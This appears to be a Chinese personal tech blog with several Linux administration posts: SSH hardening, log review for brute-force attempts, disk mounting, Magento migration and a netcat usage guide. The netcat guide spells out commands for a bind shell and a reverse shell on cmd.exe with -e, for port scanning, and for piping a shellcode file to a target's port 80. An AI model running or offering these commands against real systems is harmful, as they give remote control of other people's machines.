Written by 正冰 on 2012, April 25, 10:25 AM
linux系统下/var/log/secure文件存储着用户通过ssh登录的安全信息,包括成功信息与失败信息,从中可以看到哪些人暴力破解过SSH的root用户密码:
cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}'
查询出来的结果中包含了“ip地址=数量”,排除掉自己登录时输错密码的项,其他均是他人试图暴力破解你的SSH登录密码。
正冰建议大家对ssh端口进行修改、对root密码复杂化修改以及禁止root用户登录,具体见另外一篇文章《提升linux系统安全之修改SSH端口与禁止ROOT登陆》。
Filed under: 技术归总
0 Comments
17839 Views
Written by 正冰 on 2012, March 13, 11:46 AM
某朋友买了一个美国的VPS(硬盘50GB),可以安装windows2003与linux系统,默认情况下,windows2003系统中有2个分区(CD两个盘),当安装为linux系统,则默认只有一个10G的分区,另外40G的分区因为是NTFS格式未被默认加载。
需求:格式化已经存在的NTFS分区(也就是原windows2003下的D盘)为ext3格式并挂载到linux的某个目录中。
先看一下默认linux的分区情况,使用fdisk -l命令
- [root@localhost ~]# fdisk -l
- Disk /dev/hda: 10.7 GB, 10737418240 bytes
- 255 heads, 63 sectors/track, 1305 cylinders
- Units = cylinders of 16065 * 512 = 8225280 bytes
- Device Boot Start End Blocks Id System
- /dev/hda1 * 1 13 104391 83 Linux
- /dev/hda2 14 1305 10377990 8e Linux LVM
- Disk /dev/hdb: 42.9 GB, 42949672960 bytes
- 255 heads, 63 sectors/track, 5221 cylinders
- Units = cylinders of 16065 * 512 = 8225280 bytes
- Device Boot Start End Blocks Id System
- /dev/hdb1 * 1 5221 41937651 7 HPFS/NTFS
返回的结果清晰可见/dev/hdb1的系统类型为NTFS分区,那么只要需要格式化为ext3,然后挂载到/www目录即可。依次执行如下命令操作完成:
- mkfs -t ext3 /dev/hdb1
- mkdir /www
- mount /dev/hdb1 /www
- df -hal
- echo "/dev/hdb1 /www ext3 defaults 1 2" >> /etc/fstab
以上操作即:格式化/dev/hdb1为ext3格式、创建/www目录、挂载/dev/hdb1到/www目录、查看当前系统分区挂载情况、添加开机自动挂载
完成以上操作可以reboot一下系统后再看看系统是否正确挂载,over。
Filed under: 技术归总
0 Comments
20493 Views
Written by 正冰 on 2012, January 10, 2:55 PM
有时候为了方便模仿某些网站,需要使用下载整站工具把模板网站所有可索引(访问)的资源下载下来,并保存成与服务器相同的目录结构。
正冰给大家介绍一种简便的工具,那就是linux下的wget工具,使用方法:
wget -r -p -np -k http://URL
- -r:在本机建立服务器端目录结构;
- -p: 下载显示HTML文件的所有图片;
- -np:只下载目标站点指定目录及其子目录的内容;
- -k: 转换非相对链接为相对链接。
比如需要下载本站某篇文章的所有资源,网址为http://blog.is36.com/linux_wget_tool_download_website/
那么命令就是:wget -r -p -np -k http://blog.is36.com/linux_wget_tool_download_website/
也就是从当前页面开始镜像整个网站到本地,使用这个工具下载整站的好处是:下载的资源纯净(某些商业软件在未注册情况下会在网页里加版权)、方便;坏处就是单线程比较慢,只适合下载简单的网站。
如果不想看下载的过程,就把下载放到background后面运行,只需要再加上-b参数即可。
当然,windows下也有wget工具,去搜索下载吧,下载后的使用方法跟linux下一样。
Filed under: 技术归总
0 Comments
18131 Views
Written by 正冰 on 2012, January 6, 3:03 PM
手头管理的某台vps因为特殊原因不能继续使用了,挂在其上基于LAMP环境的magento网站需要迁移到新的VPS上,本文就magento程序的特殊性,记录一下新环境的快速搭建以及迁移magento网站。新VPS系统是centos 5 32bit,以下操作都是基于此。
首先为新VPS快速搭建运行magento程序必须的LAMP环境,首先安装:
# wget -c http://dl.wdlinux.cn:5180/lanmp_v20.tar.gz
# tar zxvf lanmp_v20.tar.gz
#sh in.sh (选择1回车:apache + php + mysql + zend + eAccelerator + pureftpd + phpmyadmin)
安装pdo_mysql扩展(magento必须)
# wget http://pecl.php.net/get/PDO_MYSQL-1.0.2.tgz
# tar zxvf PDO_MYSQL-1.0.2.tgz
# cd PDO_MYSQL-1.0.2
# /www/wdlinux/php/bin/phpize
# ./configure --with-php-config=/www/wdlinux/php/bin/php-config --with-pdo-mysql=/www/wdlinux/mysql
# make && make install
#echo "extension=pdo_mysql.so">>/www/wdlinux/etc/php.ini
#service httpd restart (重启apache使扩展生效)
# /www/wdlinux/php/bin/php -m (通过此命令可以看到php所加载的扩展,包括pdo_mysql,有问题可以根据提示进行修改,比如路径错误导致找不到,则建立正确的扩展路径,错误修改后再次执行上一条命令使扩展生效。)
lanmp_v20.tar.gz已经配置集成了rewrite规则与innodb存储引擎的配置信息,方便了部署,所以快速完成环境搭建之后就可以开始迁移magento网站:
- 在新的VPS上建立与旧VPS一样的网站配置(网站、数据库、配置文件)
- 将旧VPS与新VPS的mysql数据库停用,在旧VPS上打包mysql数据库:mysqldump -h localhost -uroot -p magento > /root/magento_db.sql
- 采用最直接省事的scp工具进行迁移,因为旧VPS的ssh默认端口被我修改为2222,所以命令有所改变,先迁移网站:scp -r -P 2222 root@8.8.8.8:/www/web/magento/public_html/ /www/web/magento/public_html/
- 再迁移数据库:scp -r -P 2222 root@8.8.8.8:/root/magento_db.sql /root/
- 将数据库导入:mysql -h localhost -uroot -p magento < /root/magento_db.sql (之前测试过直接打包数据库迁移过来解压缩到数据库存储目录不成功,只能如此)
- 启动新VPS上的mysql服务,将域名解析到新VPS,解析生效后测试网站是否正常
迁移后的提醒:
- 迁移网站后如果无法正常访问,而是跳转到默认模板之类的情况发生,将网站的errors目录下的local.xml.sample修改为local.xml,刷新后就可以看到出错提示。
- 网站使用了rewrite,但是打开产品页面却跳转404页面,那么就手动将magento的.htaccess传到网站根目录。
Filed under: 技术归总
0 Comments
20270 Views
Written by 正冰 on 2011, May 5, 9:59 PM
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:'c:\exploit.txt'为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'
改为‘>>'即可以追加日志
附:'c:\log.txt'为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!
10)备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿
Filed under: 技术归总
1 Comments
24087 Views
Written by 正冰 on 2011, May 5, 9:33 PM
从网上摘录而来,方便自己。如果需要一次性返回多条命令结果,可以在命令中间加连接符“&”。
# uname -a # 查看内核/操作系统/CPU信息
# head -n 1 /etc/issue # 查看操作系统版本
# cat /proc/cpuinfo # 查看CPU信息
# hostname # 查看计算机名
# lspci -tv # 列出所有PCI设备
# lsusb -tv # 列出所有USB设备
# lsmod # 列出加载的内核模块
# env # 查看环境变量资源
# free -m # 查看内存使用量和交换区使用量
# df -h # 查看各分区使用情况
# du -sh <目录名> # 查看指定目录的大小
# grep MemTotal /proc/meminfo # 查看内存总量
# grep MemFree /proc/meminfo # 查看空闲内存量
# uptime # 查看系统运行时间、用户数、负载
# cat /proc/loadavg # 查看系统负载磁盘和分区
# mount | column -t # 查看挂接的分区状态
# fdisk -l # 查看所有分区
# swapon -s # 查看所有交换分区
# hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)
# dmesg | grep IDE # 查看启动时IDE设备检测状况网络
# ifconfig # 查看所有网络接口的属性
# iptables -L # 查看防火墙设置
# route -n # 查看路由表
# netstat -lntp # 查看所有监听端口
# netstat -antp # 查看所有已经建立的连接
# netstat -s # 查看网络统计信息进程
# ps -ef # 查看所有进程
# top # 实时显示进程状态用户
# w # 查看活动用户
# id <用户名> # 查看指定用户信息
# last # 查看用户登录日志
# cut -d: -f1 /etc/passwd # 查看系统所有用户
# cut -d: -f1 /etc/group # 查看系统所有组
# crontab -l # 查看当前用户的计划任务服务
# chkconfig –list # 列出所有系统服务
# chkconfig –list | grep on # 列出所有启动的系统服务程序
# rpm -qa # 查看所有安装的软件包
# cat /proc/cpuinfo :查看CPU相关参数
# cat /proc/partitions :查看硬盘和分区
# cat /proc/meminfo :查看内存信息
# cat /proc/version :查看版本,类似uname -r
# cat /proc/ioports :查看设备io端口
# cat /proc/interrupts :查看中断
# cat /proc/pci :查看pci设备的信息
# cat /proc/swaps :查看所有swap分区的信息
Filed under: 技术归总
0 Comments
11697 Views
Written by 正冰 on 2010, July 16, 9:58 PM
linux下在终端环境下可以使用free命令看到系统实际使用内存的情况,一般用free -m方式查看内存占用情况(兆为单位)。而系统实际可用内存是不是free部分呢,不是的,系统实际内存占用以及可用内存有如下几个加减法:
- used=total-free 即 total=used+free
- 实际内存占用:used-buffers-cached 即 total-free-buffers-cached
- 实际可用内存:buffers+cached+free
total used free shared buffers cached
Mem: 128 119 8 0 1 22
-/+ buffers/cache: 95 32
swap: 255 0 255
第1行Mem数据:
- total 内存总数: 128
- used 已经使用的内存数: 119
- free 空闲的内存数: 8
- shared 当前已经废弃不用,总是0
- buffers Buffer Cache内存数: 1
- cached Page Cache内存数: 22
第2行-/+ buffers/cache:
- -buffers/cache 的内存数:95 (等于第1行的 used - buffers - cached)
- +buffers/cache 的内存数: 32 (等于第1行的 free + buffers + cached)
可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。
第三行数据是交换分区SWAP的,也就是我们通常所说的虚拟内存。
为了提高磁盘存取效率, Linux做了一些精心的设计, 除了对dentry进行缓存(用于VFS,加速文件路径名到inode的转换), 还采取了两种主要Cache方式:Buffer Cache和Page Cache。前者针对磁盘块的读写,后者针对文件inode的读写。这些Cache有效缩短了 I/O系统调用(比如read,write,getdents)的时间。
感兴趣的可以进一步参考文件/proc/meminfo,free命令就是根据它的信息生成的。free命令的源码可从procps-xxx-.src.rpm获取,xxx为版本号,比如procps-3.2.3-5.3.src.rpm。
Filed under: 技术归总
1 Comments
56920 Views
Written by 正冰 on 2010, July 3, 12:40 AM
最近发现服务日志里很多连接22端口欲破解服务器的root登陆密码,为了加固服务器安全,做如下设置:
1、linux默认的ssh服务端口是22,使用root登陆终端,先修改SSH端口:
# vi /etc/ssh/sshd_config
将# port 22修改为 port 4444,也就是设置ssh端口为4444,重启ssh服务即可生效,并用netstat命令查看网络连接
# service sshd restart
# netstat -ntlp
如果没有启动ssh服务,临时需要启动,并且想配置一个非默认端口,可以执行如下命令(绑定1433端口):
# /usr/sbin/sshd -p 1433
2、禁止root直接登陆,进一步保证系统安全:
先建立一个普通可登陆用户,再修改其密码
# useradd is36
# passwd is36
然后禁止root用户登录
#vi /etc/ssh/sshd_config
修改# PermitRootLogin yes 为 PermitRootLogin no,保存配置文件并重启服务使之生效
# service sshd restart
下次要先登录is36用户,然后再使用su - root命令提升权限进行操作。
归总:一般来说,如果黑客只是广泛地扫描ip段,那么修改端口能够起到很明显效果,如果是有人有针对性地想攻击你的服务器,那么他的扫描软件必定会扫描到你修改后的ssh服务端口号。
Filed under: 技术归总
0 Comments
12711 Views